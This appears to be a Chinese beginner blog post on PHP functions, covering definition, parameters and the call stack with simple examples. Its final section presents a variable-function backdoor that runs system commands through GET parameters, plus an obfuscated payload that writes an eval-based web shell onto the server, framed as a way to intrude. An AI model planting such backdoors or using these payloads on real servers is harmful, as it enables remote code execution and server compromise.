php函数

函数是什么?


函数(function)是一段完成指定任务的已命名代码块。函数可以遵照给它的一组值或参数完成特定的任务,并且可能返回一个值。在PHP中有两种函数:自定义函数与系统函数。


函数就是可以完成固定功能的语句或语句集合,可以单复调用。


php函数是一段有指定作用的代码集合,可以反复调用来完成程序员想要实现的目的

下面是一段定义一个输出This is function的简单函数并调用的代码:

<?phpfunction test (){echo "This is function"._FUNCTION_;}test();?>

函数调用过程


add($x,$y)中的$x,$y是形参,echo add(10,3)中的10,3是实参,


堆栈:系统开辟的一个临时空间。


调用过程中系统会把函数放到堆栈中,在堆栈中只有实参传给形参并执行,然后寄存器将值返回给内存,函数才能成功调用。


如果函数值没有返回,它会变成存储在堆栈中的**“垃圾”**,不能被调用,而堆栈在函数调用结束后被销毁,函数值也就跟着消失了。


下面定义了一个简单的让两个数相加的函数,调用后输出结果:

<?phpfunction add($x,$y){$sum = $x + $y;return $sum;}echo add(10,3);?>

图解:

可变函数后门(非常简单)

这是一个非常简单的php可变函数,用get方法传参就能构成后门

<?php$_GET['a']($_GET['b']);?>

如在URL中输入下面代码,这个可变函数就相当于system(ipconfig),就能在网页上显示对方服务器的ip、网关等信息。

?a=system&b=ipconfig

如果用get方法输入下面的一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但同样会生成木马,成功达到入侵对方服务器的目的,真可谓不容小觑!

?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

  • 思考:在开发过程中会有很多代码其实是重复的,只是其中有一点点数据的变化,那么这样的代码我们是通过复制-粘贴-修改部...
    好像在哪见过你丶阅读 538评论 0 0
  • PHP 使用 function 关键字定义函数,此外还支持可变函数、引用函数和匿名函数等。 用户自定义函数 定义 ...
    三生石的等待阅读 446评论 0 1
  • 本文内容较长,如有被截断或缺失,请参考原文:PHP函数参考24-常用字符串函数 - 9ong[http://www...
    思考的山羊阅读 468评论 0 0
  • php函数分为两大类: user function(用户函数) 和internal function(内置函数) ...
    jzzzzzzzsa阅读 339评论 0 1
  • 目录### 一、函数的定义二、自定义函数三、函数的工作原理和结构化编程四、PHP变量的范围五、声明及应用各种形式的...
    akon2016阅读 1,166评论 1 1

友情链接更多精彩内容